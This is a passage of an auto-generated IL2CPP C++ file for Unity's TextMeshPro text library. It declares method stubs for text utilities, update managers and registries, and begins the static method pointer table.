extern void TMP_TextInfo_ClearUnusedVertices_m46C02F1D4EB0183A973859CEDE6EE284B1F9EB56 (void);
// 0x000005F1 System.Void TMPro.TMP_TextInfo::ClearLineInfo()
extern void TMP_TextInfo_ClearLineInfo_m055901C815B31D3996CA828A79D73DAE576A1037 (void);
// 0x000005F2 System.Void TMPro.TMP_TextInfo::ClearPageInfo()
extern void TMP_TextInfo_ClearPageInfo_mD479D3067FC68407924FF28A468D68EA8B0680AE (void);
// 0x000005F3 TMPro.TMP_MeshInfo[] TMPro.TMP_TextInfo::CopyMeshInfoVertexData()
extern void TMP_TextInfo_CopyMeshInfoVertexData_mF66E2F8821470E68D95FEB53D456CFA86241C0CA (void);
// 0x000005F4 System.Void TMPro.TMP_TextInfo::Resize(T[]&,System.Int32)
// 0x000005F5 System.Void TMPro.TMP_TextInfo::Resize(T[]&,System.Int32,System.Boolean)
// 0x000005F6 System.Void TMPro.TMP_TextInfo::.cctor()
extern void TMP_TextInfo__cctor_mEC0D0CFF44960B91E5E996E344D11861639457A1 (void);
// 0x000005F7 System.Void TMPro.TMP_TextParsingUtilities::.cctor()
extern void TMP_TextParsingUtilities__cctor_m19016718A096B260A0CC2D302C37048A9FB27361 (void);
// 0x000005F8 TMPro.TMP_TextParsingUtilities TMPro.TMP_TextParsingUtilities::get_instance()
extern void TMP_TextParsingUtilities_get_instance_m0BBC370397E14A5490AB3870B853CB2D26FAEC25 (void);
// 0x000005F9 System.Int32 TMPro.TMP_TextParsingUtilities::GetHashCode(System.String)
extern void TMP_TextParsingUtilities_GetHashCode_m5060FDD2B3042827F687D651A28E1C3E9A34412E (void);
// 0x000005FA System.Int32 TMPro.TMP_TextParsingUtilities::GetHashCodeCaseSensitive(System.String)
extern void TMP_TextParsingUtilities_GetHashCodeCaseSensitive_mB29C84D5B884D03B7CC8A7D3ACD43E050F784AD6 (void);
// 0x000005FB System.Char TMPro.TMP_TextParsingUtilities::ToLowerASCIIFast(System.Char)
extern void TMP_TextParsingUtilities_ToLowerASCIIFast_m6341E217D892ABCEC08889D7B0D1C9057B8C8F60 (void);
// 0x000005FC System.Char TMPro.TMP_TextParsingUtilities::ToUpperASCIIFast(System.Char)
extern void TMP_TextParsingUtilities_ToUpperASCIIFast_m268B0B889DF9D45852F99FEFB930CB1BF4AC8212 (void);
// 0x000005FD System.UInt32 TMPro.TMP_TextParsingUtilities::ToUpperASCIIFast(System.UInt32)
extern void TMP_TextParsingUtilities_ToUpperASCIIFast_mDFA4F1840552BDF8A52917FF82E8D5BB8159C636 (void);
// 0x000005FE System.UInt32 TMPro.TMP_TextParsingUtilities::ToLowerASCIIFast(System.UInt32)
extern void TMP_TextParsingUtilities_ToLowerASCIIFast_m2792EC704B58BD81CDFE547BA878DD2DE5D291DD (void);
// 0x000005FF System.Boolean TMPro.TMP_TextParsingUtilities::IsHighSurrogate(System.UInt32)
extern void TMP_TextParsingUtilities_IsHighSurrogate_m2797EC5C5236904C63288BA76BE60B11EC62566A (void);
// 0x00000600 System.Boolean TMPro.TMP_TextParsingUtilities::IsLowSurrogate(System.UInt32)
extern void TMP_TextParsingUtilities_IsLowSurrogate_m0D3D07F934772EAAE1313017A5EF03CA4A18B49E (void);
// 0x00000601 System.UInt32 TMPro.TMP_TextParsingUtilities::ConvertToUTF32(System.UInt32,System.UInt32)
extern void TMP_TextParsingUtilities_ConvertToUTF32_mF8A4836C0621685457F2D08104767B59490DDE9C (void);
// 0x00000602 System.Void TMPro.TMP_TextParsingUtilities::.ctor()
extern void TMP_TextParsingUtilities__ctor_m5B95C165745456957248A8D1EDFAD9B495F47323 (void);
// 0x00000603 System.Void TMPro.TMP_FontStyleStack::Clear()
extern void TMP_FontStyleStack_Clear_m49B787473D053AE4AB61D0A89BE3022B6D39B15D (void);
// 0x00000604 System.Byte TMPro.TMP_FontStyleStack::Add(TMPro.FontStyles)
extern void TMP_FontStyleStack_Add_m86B65684B67DF2CA334037A30E9876C0F02D454A (void);
// 0x00000605 System.Byte TMPro.TMP_FontStyleStack::Remove(TMPro.FontStyles)
extern void TMP_FontStyleStack_Remove_mF44A8D00AA01FCBED6B6FD0A43A8D77990D2A26E (void);
// 0x00000606 System.Void TMPro.TMP_TextProcessingStack`1::.ctor(T[])
// 0x00000607 System.Void TMPro.TMP_TextProcessingStack`1::.ctor(System.Int32)
// 0x00000608 System.Void TMPro.TMP_TextProcessingStack`1::.ctor(System.Int32,System.Int32)
// 0x00000609 System.Int32 TMPro.TMP_TextProcessingStack`1::get_Count()
// 0x0000060A T TMPro.TMP_TextProcessingStack`1::get_current()
// 0x0000060B System.Int32 TMPro.TMP_TextProcessingStack`1::get_rolloverSize()
// 0x0000060C System.Void TMPro.TMP_TextProcessingStack`1::set_rolloverSize(System.Int32)
// 0x0000060D System.Void TMPro.TMP_TextProcessingStack`1::SetDefault(TMPro.TMP_TextProcessingStack`1<T>[],T)
// 0x0000060E System.Void TMPro.TMP_TextProcessingStack`1::Clear()
// 0x0000060F System.Void TMPro.TMP_TextProcessingStack`1::SetDefault(T)
// 0x00000610 System.Void TMPro.TMP_TextProcessingStack`1::Add(T)
// 0x00000611 T TMPro.TMP_TextProcessingStack`1::Remove()
// 0x00000612 System.Void TMPro.TMP_TextProcessingStack`1::Push(T)
// 0x00000613 T TMPro.TMP_TextProcessingStack`1::Pop()
// 0x00000614 T TMPro.TMP_TextProcessingStack`1::Peek()
// 0x00000615 T TMPro.TMP_TextProcessingStack`1::CurrentItem()
// 0x00000616 T TMPro.TMP_TextProcessingStack`1::PreviousItem()
// 0x00000617 System.Void TMPro.CaretInfo::.ctor(System.Int32,TMPro.CaretPosition)
extern void CaretInfo__ctor_m32D2780AAB3322C5EB68677CE3A73BF6B43E51B8 (void);
// 0x00000618 System.Int32 TMPro.TMP_TextUtilities::GetCursorIndexFromPosition(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_GetCursorIndexFromPosition_mFF4E2381D6D0FBEC84611CFD1648ED11B18D6AAB (void);
// 0x00000619 System.Int32 TMPro.TMP_TextUtilities::GetCursorIndexFromPosition(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera,TMPro.CaretPosition&)
extern void TMP_TextUtilities_GetCursorIndexFromPosition_m78C616E04242EB0716FF3DD0B955C9542D388E23 (void);
// 0x0000061A System.Int32 TMPro.TMP_TextUtilities::FindNearestLine(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_FindNearestLine_m01AB87B742CB31C401DF18A825D2A432A08D5406 (void);
// 0x0000061B System.Int32 TMPro.TMP_TextUtilities::FindNearestCharacterOnLine(TMPro.TMP_Text,UnityEngine.Vector3,System.Int32,UnityEngine.Camera,System.Boolean)
extern void TMP_TextUtilities_FindNearestCharacterOnLine_m0D48859A5F5601586E8B179B6BEA825731D02D79 (void);
// 0x0000061C System.Boolean TMPro.TMP_TextUtilities::IsIntersectingRectTransform(UnityEngine.RectTransform,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_IsIntersectingRectTransform_mD130C941AB32BCEA5B2B293E979A7AC7F1160FFF (void);
// 0x0000061D System.Int32 TMPro.TMP_TextUtilities::FindIntersectingCharacter(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera,System.Boolean)
extern void TMP_TextUtilities_FindIntersectingCharacter_m6C03B17BB15028215958B0DAB969BB5199990DF2 (void);
// 0x0000061E System.Int32 TMPro.TMP_TextUtilities::FindNearestCharacter(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera,System.Boolean)
extern void TMP_TextUtilities_FindNearestCharacter_m1732D15AB75A7DC6978D853AAE0C7EE89E1A124C (void);
// 0x0000061F System.Int32 TMPro.TMP_TextUtilities::FindIntersectingWord(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_FindIntersectingWord_m1442DFD5AAE1FF0EE5054262A34E4D31B1E56879 (void);
// 0x00000620 System.Int32 TMPro.TMP_TextUtilities::FindNearestWord(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_FindNearestWord_mFA2F92F39BCB9EE81D04DC4252F57D90DBEA82AC (void);
// 0x00000621 System.Int32 TMPro.TMP_TextUtilities::FindIntersectingLine(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_FindIntersectingLine_mFC1F20154DEE3E4308C04EAF963F0BD897C12459 (void);
// 0x00000622 System.Int32 TMPro.TMP_TextUtilities::FindIntersectingLink(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_FindIntersectingLink_m2B5823274A30BBB3A54592E8DB44F119140C3778 (void);
// 0x00000623 System.Int32 TMPro.TMP_TextUtilities::FindNearestLink(TMPro.TMP_Text,UnityEngine.Vector3,UnityEngine.Camera)
extern void TMP_TextUtilities_FindNearestLink_mF012E9C23A4DF6E9808B046B65294842598350CD (void);
// 0x00000624 System.Boolean TMPro.TMP_TextUtilities::PointIntersectRectangle(UnityEngine.Vector3,UnityEngine.Vector3,UnityEngine.Vector3,UnityEngine.Vector3,UnityEngine.Vector3)
extern void TMP_TextUtilities_PointIntersectRectangle_m99D55FD0AE0E4D2C6367410FBB38C901EDEFC1BD (void);
// 0x00000625 System.Boolean TMPro.TMP_TextUtilities::ScreenPointToWorldPointInRectangle(UnityEngine.Transform,UnityEngine.Vector2,UnityEngine.Camera,UnityEngine.Vector3&)
extern void TMP_TextUtilities_ScreenPointToWorldPointInRectangle_mE96524505F7BBF52B441A3736C8D4268F66647DA (void);
// 0x00000626 System.Boolean TMPro.TMP_TextUtilities::IntersectLinePlane(TMPro.TMP_TextUtilities/LineSegment,UnityEngine.Vector3,UnityEngine.Vector3,UnityEngine.Vector3&)
extern void TMP_TextUtilities_IntersectLinePlane_mC4D66405E4A02DCA43AF638B408BB4B5D2C92EA5 (void);
// 0x00000627 System.Single TMPro.TMP_TextUtilities::DistanceToLine(UnityEngine.Vector3,UnityEngine.Vector3,UnityEngine.Vector3)
extern void TMP_TextUtilities_DistanceToLine_m8CAE1016C1485B0AA8E9390295B7040A7F6506AD (void);
// 0x00000628 System.Char TMPro.TMP_TextUtilities::ToLowerFast(System.Char)
extern void TMP_TextUtilities_ToLowerFast_m3125BB59BCA6321C1D0AC527CAA6645D618BD083 (void);
// 0x00000629 System.Char TMPro.TMP_TextUtilities::ToUpperFast(System.Char)
extern void TMP_TextUtilities_ToUpperFast_m3F874B1E74717ABED16DBBEBEA9CA232CDBE8C61 (void);
// 0x0000062A System.UInt32 TMPro.TMP_TextUtilities::ToUpperASCIIFast(System.UInt32)
extern void TMP_TextUtilities_ToUpperASCIIFast_m41E8D59A85575BDCC4B6AA31684B5BA6B45744F5 (void);
// 0x0000062B System.Int32 TMPro.TMP_TextUtilities::GetHashCode(System.String)
extern void TMP_TextUtilities_GetHashCode_mFEBD9E9CBA645F2AAFC1B47497C3191A14142F2A (void);
// 0x0000062C System.Int32 TMPro.TMP_TextUtilities::GetSimpleHashCode(System.String)
extern void TMP_TextUtilities_GetSimpleHashCode_m15FA466AEECE8EDBDF9E75B0DD9B62E5C45789FE (void);
// 0x0000062D System.UInt32 TMPro.TMP_TextUtilities::GetSimpleHashCodeLowercase(System.String)
extern void TMP_TextUtilities_GetSimpleHashCodeLowercase_mF300535170B8A1E8185BAF721A6CBE2A09C8AC51 (void);
// 0x0000062E System.Int32 TMPro.TMP_TextUtilities::HexToInt(System.Char)
extern void TMP_TextUtilities_HexToInt_m2534F048B7379A4F4A844DDF0A03069E5DB5C0EF (void);
// 0x0000062F System.Int32 TMPro.TMP_TextUtilities::StringHexToInt(System.String)
extern void TMP_TextUtilities_StringHexToInt_m729CA0E20B56F6489BFB56BB2DDDA075FCA3263F (void);
// 0x00000630 System.Void TMPro.TMP_TextUtilities::.cctor()
extern void TMP_TextUtilities__cctor_m7B6742AD1F11D527752B6B792547FEECE68B0836 (void);
// 0x00000631 System.Void TMPro.TMP_TextUtilities/LineSegment::.ctor(UnityEngine.Vector3,UnityEngine.Vector3)
extern void LineSegment__ctor_mD12FAF67166FBF4154B4C71793A87AC3EB9EEF0B (void);
// 0x00000632 TMPro.TMP_UpdateManager TMPro.TMP_UpdateManager::get_instance()
extern void TMP_UpdateManager_get_instance_mCF3C00751187DE6C86869DF67D17E57A3DDE1231 (void);
// 0x00000633 System.Void TMPro.TMP_UpdateManager::.ctor()
extern void TMP_UpdateManager__ctor_m69A0A84DD4CD9C719AC6241795E327E198F3B8D5 (void);
// 0x00000634 System.Void TMPro.TMP_UpdateManager::RegisterTextObjectForUpdate(TMPro.TMP_Text)
extern void TMP_UpdateManager_RegisterTextObjectForUpdate_m96010C58BC0AC9726F801BEC57206E6B53B8CA4B (void);
// 0x00000635 System.Void TMPro.TMP_UpdateManager::InternalRegisterTextObjectForUpdate(TMPro.TMP_Text)
extern void TMP_UpdateManager_InternalRegisterTextObjectForUpdate_m3BE2C4BF2F7380096474A113CEA612A72B5E5BF7 (void);
// 0x00000636 System.Void TMPro.TMP_UpdateManager::RegisterTextElementForLayoutRebuild(TMPro.TMP_Text)
extern void TMP_UpdateManager_RegisterTextElementForLayoutRebuild_m712C9A3AFEACB213AF26F9CB91F069BBD406F741 (void);
// 0x00000637 System.Void TMPro.TMP_UpdateManager::InternalRegisterTextElementForLayoutRebuild(TMPro.TMP_Text)
extern void TMP_UpdateManager_InternalRegisterTextElementForLayoutRebuild_m99DD6449E8F765D5F10D2C272EB26673D29BAE97 (void);
// 0x00000638 System.Void TMPro.TMP_UpdateManager::RegisterTextElementForGraphicRebuild(TMPro.TMP_Text)
extern void TMP_UpdateManager_RegisterTextElementForGraphicRebuild_m1B2802D514154F4251574B5405A7F14917E8F002 (void);
// 0x00000639 System.Void TMPro.TMP_UpdateManager::InternalRegisterTextElementForGraphicRebuild(TMPro.TMP_Text)
extern void TMP_UpdateManager_InternalRegisterTextElementForGraphicRebuild_m2BB7D188B607FAE033CCE3B65F6D5DBF13562524 (void);
// 0x0000063A System.Void TMPro.TMP_UpdateManager::RegisterTextElementForCullingUpdate(TMPro.TMP_Text)
extern void TMP_UpdateManager_RegisterTextElementForCullingUpdate_m0CD6135C856DBF7C1F870D8EB507DC41C03B1C03 (void);
// 0x0000063B System.Void TMPro.TMP_UpdateManager::InternalRegisterTextElementForCullingUpdate(TMPro.TMP_Text)
extern void TMP_UpdateManager_InternalRegisterTextElementForCullingUpdate_m41E41B6A7F27C62897A7369DA43163AEADCC908F (void);
// 0x0000063C System.Void TMPro.TMP_UpdateManager::OnCameraPreCull()
extern void TMP_UpdateManager_OnCameraPreCull_m265431745A965ECAA26603D4B5519043E7D99D98 (void);
// 0x0000063D System.Void TMPro.TMP_UpdateManager::DoRebuilds()
extern void TMP_UpdateManager_DoRebuilds_m14F711CC2FA9DA7B2B8964059CB6CA4B776F6BE8 (void);
// 0x0000063E System.Void TMPro.TMP_UpdateManager::UnRegisterTextObjectForUpdate(TMPro.TMP_Text)
extern void TMP_UpdateManager_UnRegisterTextObjectForUpdate_mE07A0476432ECC8ADFB37590B93EFD26EFD69651 (void);
// 0x0000063F System.Void TMPro.TMP_UpdateManager::UnRegisterTextElementForRebuild(TMPro.TMP_Text)
extern void TMP_UpdateManager_UnRegisterTextElementForRebuild_m6E87BDE6CCBA41819C9BD443666AC75BF9792695 (void);
// 0x00000640 System.Void TMPro.TMP_UpdateManager::InternalUnRegisterTextElementForGraphicRebuild(TMPro.TMP_Text)
extern void TMP_UpdateManager_InternalUnRegisterTextElementForGraphicRebuild_m9E12886C94B95F5EF2F4DE0F32C8CD9C4A597198 (void);
// 0x00000641 System.Void TMPro.TMP_UpdateManager::InternalUnRegisterTextElementForLayoutRebuild(TMPro.TMP_Text)
extern void TMP_UpdateManager_InternalUnRegisterTextElementForLayoutRebuild_mA216D19431D7C825E187253D6D68B5EDB3B8FCEF (void);
// 0x00000642 System.Void TMPro.TMP_UpdateManager::InternalUnRegisterTextObjectForUpdate(TMPro.TMP_Text)
extern void TMP_UpdateManager_InternalUnRegisterTextObjectForUpdate_m2856DE05E46E68058986301E3DBEE17C8153B2E8 (void);
// 0x00000643 System.Void TMPro.TMP_UpdateManager::.cctor()
extern void TMP_UpdateManager__cctor_m30A0FCF6BCE848A2751B5B615E30DDE4C2E35141 (void);
// 0x00000644 TMPro.TMP_UpdateRegistry TMPro.TMP_UpdateRegistry::get_instance()
extern void TMP_UpdateRegistry_get_instance_m8A9ACD1BD2704BC8368543FD13277099329F9DE2 (void);
// 0x00000645 System.Void TMPro.TMP_UpdateRegistry::.ctor()
extern void TMP_UpdateRegistry__ctor_mAD466DAAF6A8867F7D24D9B00AD6D5E113D2649E (void);
// 0x00000646 System.Void TMPro.TMP_UpdateRegistry::RegisterCanvasElementForLayoutRebuild(UnityEngine.UI.ICanvasElement)
extern void TMP_UpdateRegistry_RegisterCanvasElementForLayoutRebuild_m330EADE7C2B4441FB5FE39F66CF2511F8B787188 (void);
// 0x00000647 System.Boolean TMPro.TMP_UpdateRegistry::InternalRegisterCanvasElementForLayoutRebuild(UnityEngine.UI.ICanvasElement)
extern void TMP_UpdateRegistry_InternalRegisterCanvasElementForLayoutRebuild_mD0B965C049EBEB2E71B2BC8D2C7F16ECD47F0E53 (void);
// 0x00000648 System.Void TMPro.TMP_UpdateRegistry::RegisterCanvasElementForGraphicRebuild(UnityEngine.UI.ICanvasElement)
extern void TMP_UpdateRegistry_RegisterCanvasElementForGraphicRebuild_mB853298FFE0CAB3653A7BBCE5C6D38B6980A6B34 (void);
// 0x00000649 System.Boolean TMPro.TMP_UpdateRegistry::InternalRegisterCanvasElementForGraphicRebuild(UnityEngine.UI.ICanvasElement)
extern void TMP_UpdateRegistry_InternalRegisterCanvasElementForGraphicRebuild_m3D71D7AB720191114A3CAD60899ED945D8614F3A (void);
// 0x0000064A System.Void TMPro.TMP_UpdateRegistry::PerformUpdateForCanvasRendererObjects()
extern void TMP_UpdateRegistry_PerformUpdateForCanvasRendererObjects_m0C118FBD3B2ADDD2FE9E40136F45D38D5C8975B9 (void);
// 0x0000064B System.Void TMPro.TMP_UpdateRegistry::PerformUpdateForMeshRendererObjects()
extern void TMP_UpdateRegistry_PerformUpdateForMeshRendererObjects_mA5D3656421524B3258494141D9A73D3A5EA49D4E (void);
// 0x0000064C System.Void TMPro.TMP_UpdateRegistry::UnRegisterCanvasElementForRebuild(UnityEngine.UI.ICanvasElement)
extern void TMP_UpdateRegistry_UnRegisterCanvasElementForRebuild_m007C072AA059AA7E34598484B0659F603B389E98 (void);
// 0x0000064D System.Void TMPro.TMP_UpdateRegistry::InternalUnRegisterCanvasElementForLayoutRebuild(UnityEngine.UI.ICanvasElement)
extern void TMP_UpdateRegistry_InternalUnRegisterCanvasElementForLayoutRebuild_mA9A8EC29FC4587BAB47D3A48725299C9F3251BEC (void);
// 0x0000064E System.Void TMPro.TMP_UpdateRegistry::InternalUnRegisterCanvasElementForGraphicRebuild(UnityEngine.UI.ICanvasElement)
extern void TMP_UpdateRegistry_InternalUnRegisterCanvasElementForGraphicRebuild_mA2012BE5D69C00E5865F9C4428F9D85A39B4331A (void);
// 0x0000064F System.Void TMPro.SpriteAssetUtilities.TexturePacker_JsonArray::.ctor()
extern void TexturePacker_JsonArray__ctor_mA7347C642D7784A142849ED55983E779C997D853 (void);
// 0x00000650 System.String TMPro.SpriteAssetUtilities.TexturePacker_JsonArray/SpriteFrame::ToString()
extern void SpriteFrame_ToString_m74A323FCED2C3503F98BEB090A2EF8FE20B53E0C (void);
// 0x00000651 System.String TMPro.SpriteAssetUtilities.TexturePacker_JsonArray/SpriteSize::ToString()
extern void SpriteSize_ToString_mED85E2303923FBF7A05A012E064705856A4CC2DB (void);
// 0x00000652 System.Void TMPro.SpriteAssetUtilities.TexturePacker_JsonArray/SpriteDataObject::.ctor()
extern void SpriteDataObject__ctor_m89C520B855B17B46E4B43024C4941688A276CBE1 (void);
static Il2CppMethodPointer s_methodPointers[1618] =
{
FastAction_Add_m825D4C18BAB7721BE32B7097493D34F201BF81F3,
FastAction_Remove_mAF00AE428F0F047567E37925BBD4A5750ECD63D4,
FastAction_Call_mBAF2E050A7548718C6596AA230EBBD3945595298,
FastAction__ctor_mF3C5146C45DAE04B656283ED83FAF3F463D38F33,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
MaterialReferenceManager_get_instance_mC6448C88A8FF278B0E78F3F32AC076875E5F26FE,
MaterialReferenceManager_AddFontAsset_mA1F8BA167B615497944F6E4B31DA9F8E45D0C002,
MaterialReferenceManager_AddFontAssetInternal_m8C0B7B9510BF49EBE2380A3E4D9CD3894616FA82,
MaterialReferenceManager_AddSpriteAsset_m1D355709819A183E95275CC30065E359AC89E015,
MaterialReferenceManager_AddSpriteAssetInternal_m237AFE73008A61174496142E1DE0AFE62BC54738,
MaterialReferenceManager_AddSpriteAsset_mA8E02C6A26F186D1652081308A9E9766A8E53B10,
MaterialReferenceManager_AddSpriteAssetInternal_m40F829BF9127F458984FD889E70D02474946D84F,
MaterialReferenceManager_AddFontMaterial_m348066D6570D0EBDB6C86C87BC657E7C12F008F9,
MaterialReferenceManager_AddFontMaterialInternal_mE7FAF4082935FBB50EA6F11931549BA723BA16D5,
MaterialReferenceManager_AddColorGradientPreset_m55EE34E778297611ECA22C6CE4E83F56E258A78E,
MaterialReferenceManager_AddColorGradientPreset_Internal_mB23BD54CD86FBEDB4100031E98CCB65C88750C0E,
MaterialReferenceManager_Contains_m215CCF891A17BC708D981C9DA2BDC9A752BCCACE,
MaterialReferenceManager_Contains_m835A31CDCAD096D2C93CC0DC91ED04A5450A5743,
MaterialReferenceManager_TryGetFontAsset_m96EC9B739B38A5039DA3C8DC94F7C03F0095B0E3,
MaterialReferenceManager_TryGetFontAssetInternal_m2C38E5D98E644C0B43C350A1212BD1B981E435CC,
MaterialReferenceManager_TryGetSpriteAsset_m32C4581E4A4DED54AA35FF4E00EE05E8233B0768,
MaterialReferenceManager_TryGetSpriteAssetInternal_mEB43000DBA4E428E3BC83ADE74B525E715211D1B,
MaterialReferenceManager_TryGetColorGradientPreset_m90E25347FDBA24D4A2987F3DCAF6D15F62022CE5,
MaterialReferenceManager_TryGetColorGradientPresetInternal_mC1D435676D1B9576A4F77CC2736D846FF40C592F,
MaterialReferenceManager_TryGetMaterial_mF200B9FD05020FF6038ADF7B211F6E7CFB186860,
MaterialReferenceManager_TryGetMaterialInternal_m023208FF7BBB5E5FFA086C1C07F64A2A92413DCB,
MaterialReferenceManager__ctor_mDD3425577D03313636DFE375E377F289D0EA2295,
MaterialReference__ctor_m022ED9858AAD1DCEC25CBC4C304797F4539D87E7,
MaterialReference_Contains_m53DCCC3459831BB467C904A5C569D6BA82EA9742,
MaterialReference_AddMaterialReference_mF45CD1DDCDDE1CF1BEC4A918E955C315F3391331,
MaterialReference_AddMaterialReference_m8AC5FD98857709F7952CD1909D56EBB550C9101A,
TextContainer_get_hasChanged_m8DF8FF327827736E4729E37C1521F035B413C5F7,
TextContainer_set_hasChanged_mABA40DFD4EEC897F4A56B69CBB7A488D721C12DD,
TextContainer_get_pivot_mABB55AD58B05D35BB0EB844B8CA9A837E4C95921,
TextContainer_set_pivot_mA8B07A0D65AB363D46CD27E42320059E8DA52EE5,
TextContainer_get_anchorPosition_m78B62F2ECB901D8B611131A213DEEF972790D1F7,
TextContainer_set_anchorPosition_mA915529616A0B4679FAAA6183FC194597E03EA50,
TextContainer_get_rect_m94D2400B7559ED8BD076F74B7AEB1CFF5ADDB6B5,
TextContainer_set_rect_m1D085EDA4A56F1B94CE17F373787634403015B77,
TextContainer_get_size_m0B22BF2C6CF43C2424C2864B87707D00E29B259B,
TextContainer_set_size_m06C432F3136FCD30566702A5198587E4BE555A5C,
TextContainer_get_width_mF4A385D6C76E375D1838E3586DFB0C7868508C1B,
TextContainer_set_width_m6CCE1D33F804A90F452CF4E6F5E72E14FB040BCE,
TextContainer_get_height_mF3302A1C468D314D85FE24DD4D09754232027C20,
TextContainer_set_height_mF4164F3ED8244480E64B7837B310B30388EEE6CD,
TextContainer_get_isDefaultWidth_mC93E766339878C17E406E69A43EC9E0D6A7982C6,
TextContainer_get_isDefaultHeight_m3F66ACBFC5980F5CF466775067B1D38E55F208C6,
TextContainer_get_isAutoFitting_mDFC6D0A44C286CAD6DC53B5A7B6F6E38E1339382,
TextContainer_set_isAutoFitting_m3A9144590137287255F159FC93A1EAAD96B8141F,
TextContainer_get_corners_mA9378A1DDF7C54BA2934885C9A21C71F8F778754,
TextContainer_get_worldCorners_m608A9D2C48FABA9361C0030238101F8121E98B12,
TextContainer_get_margins_mF4A4340460B6A5A271534AB50CA17026236E071A,
TextContainer_set_margins_mC6A8F2814430CA0AAFF7985A27B4870AF736379B,
TextContainer_get_rectTransform_mA715878DE6F7CB581CA2D82DA13FBC1A0BA14B5D,
TextContainer_get_textMeshPro_m7FE78F97AF1550A7667BB6ED9BCF20DCCC3166A1,
TextContainer_Awake_m450AB495666750B5B2B9C20639C44C894F179B95,
TextContainer_OnEnable_mCB79CBA590B19D04274F74819286BD9A6E73EAA7,
TextContainer_OnDisable_m7A822FF8139DF70D91292638C7C737C647F5DEEB,
TextContainer_OnContainerChanged_mCC9F83EC6FF3262388F26E17DA1C900ECE6156C0,
TextContainer_OnRectTransformDimensionsChange_mA9D29C6BAE685CE4C19365B0371E180365FAFAD4,
TextContainer_SetRect_mC61B8DA58B65D1D7EBE48F78E7AB80CD1FE34B87,
TextContainer_UpdateCorners_m3223B7904DD32545705F9B24FA52E13F8F198026,
TextContainer_GetPivot_m2AF9923059C0EDA822C235ABE88D11A86A9DC16D,
TextContainer_GetAnchorPosition_mEB7F12AEDB37EC48501719D685FFC55B6998E2D8,
TextContainer__ctor_m31365F9C21AADAA5C2407613762F313663B62735,
TextContainer__cctor_mD63F260799545A3AC56E52AD5DA29EB2026DD19C,
TextMeshPro_get_sortingLayerID_m246B079B5004616673509A12006E1D46CE8F7DB5,
TextMeshPro_set_sortingLayerID_m4AFD807EC0960BE45C271C7F6B813884E27F98AC,
TextMeshPro_get_sortingOrder_m8E5894C4390F4FDC0C7374C7EABAF96D37F0E089,
TextMeshPro_set_sortingOrder_mF4E75E33617F04E98CB5C529E0FB1E97D7473715,
TextMeshPro_get_autoSizeTextContainer_m92B636FDA452908D3752AA3DAACA7B5BDD81E73C,
TextMeshPro_set_autoSizeTextContainer_m02CA26428A5BC9A4F5053C389560320DADECCA53,
TextMeshPro_get_textContainer_m9ADA73A2523843F13F731E47A0CE7E0EFB3BF771,
TextMeshPro_get_transform_m750148EC362B176A0E80D6F4ABAC1062E5281E11,
TextMeshPro_get_renderer_m2E657DD550DAB1C896B1D8955AE08F84FB9FE78E,
TextMeshPro_get_mesh_m848BFE512069747B47E7FEF2EDFB6F6BF56A6F87,
TextMeshPro_get_meshFilter_m6A15037A8B675F9FB89F91A454DE6F49FE34A865,
TextMeshPro_get_maskType_mF1F98A216FDBE60BACABA283E32D4F9D4D884E04,
TextMeshPro_set_maskType_m218BA91F0BDEEAB2495D8A24BE494C29040F8AD5,
TextMeshPro_SetMask_m6F20ECB1EE60267C66C29C2BE2A4E8297023E10B,
TextMeshPro_SetMask_mCD7144AD14B1E578DAC7062F1C4AFE3F91F097DB,
TextMeshPro_SetVerticesDirty_mFF321A7A3250A1983437B651C6B08CA6C238E295,
TextMeshPro_SetLayoutDirty_mBB2707E3FB406BA91AE3CCF34300E4BD0EF13935,
TextMeshPro_SetMaterialDirty_m94E7469E10AE410A7E13BDAA52B635B886D2BF14,
TextMeshPro_SetAllDirty_mCA57F3D9977D6691FEAE9B42EC93188D665F9C45,
TextMeshPro_Rebuild_mF51AAF8F7475EDDD27EF62BE70C71E250C810CAC,
TextMeshPro_UpdateMaterial_m5D5307EC06A3B37A7638B8474A89ACA8F59ED8AD,
TextMeshPro_UpdateMeshPadding_mD4CCF7EA6D5E6EC61BC530EEA4C8A722DF21887C,
TextMeshPro_ForceMeshUpdate_mA8196630B76CD7E10CD0CECD0E4ED263006EDF51,
TextMeshPro_GetTextInfo_m48DFA3AF6030E06CDCF41002C129A945DC1DC594,
TextMeshPro_ClearMesh_mD868C52676C08B2044509DB25E53500797C3E1EB,
TextMeshPro_add_OnPreRenderText_m095FA48218C2A8F8ACB5673DF77EADCFFB2B8F75,
TextMeshPro_remove_OnPreRenderText_m832796A813128E6641DB46677DA21BFCF05D2E55,
TextMeshPro_UpdateGeometry_m07DBFC391FC1B0D663AF1D42BCEA4FE0FDAE96E9,
TextMeshPro_UpdateVertexData_mA83AC36F27C0D3A7977BE1E108F3A0763A32414C,
TextMeshPro_UpdateVertexData_mA9E7A74B6EB347CFD3D351C1AC5406A0F29ACEC7,
TextMeshPro_UpdateFontAsset_mE940EA22C479BF14F099BDC5F9E89EEFEC59260F,
TextMeshPro_CalculateLayoutInputHorizontal_m831878E1B35FA9625FC0E4D4FA94AB1D8417E7F0,
TextMeshPro_CalculateLayoutInputVertical_m9272D3BADA4804CF676D43F60B3758ED1EDDF510,
TextMeshPro_Awake_mB6744F75E7577F7A8EC8DC7277C2D98B855875B9,
TextMeshPro_OnEnable_m3E687CB93295674CBAD2CF98C10D048451181690,
TextMeshPro_OnDisable_m97F173D468229C917EC3A1B1D1A562D60C17C80E,
TextMeshPro_OnDestroy_m85DA8AE90BB8E3A852CA4E4B6BF6676BC8F4617C,
TextMeshPro_LoadFontAsset_m9FC6839F4EDA45629776E483BD4F121C5108F9DD,
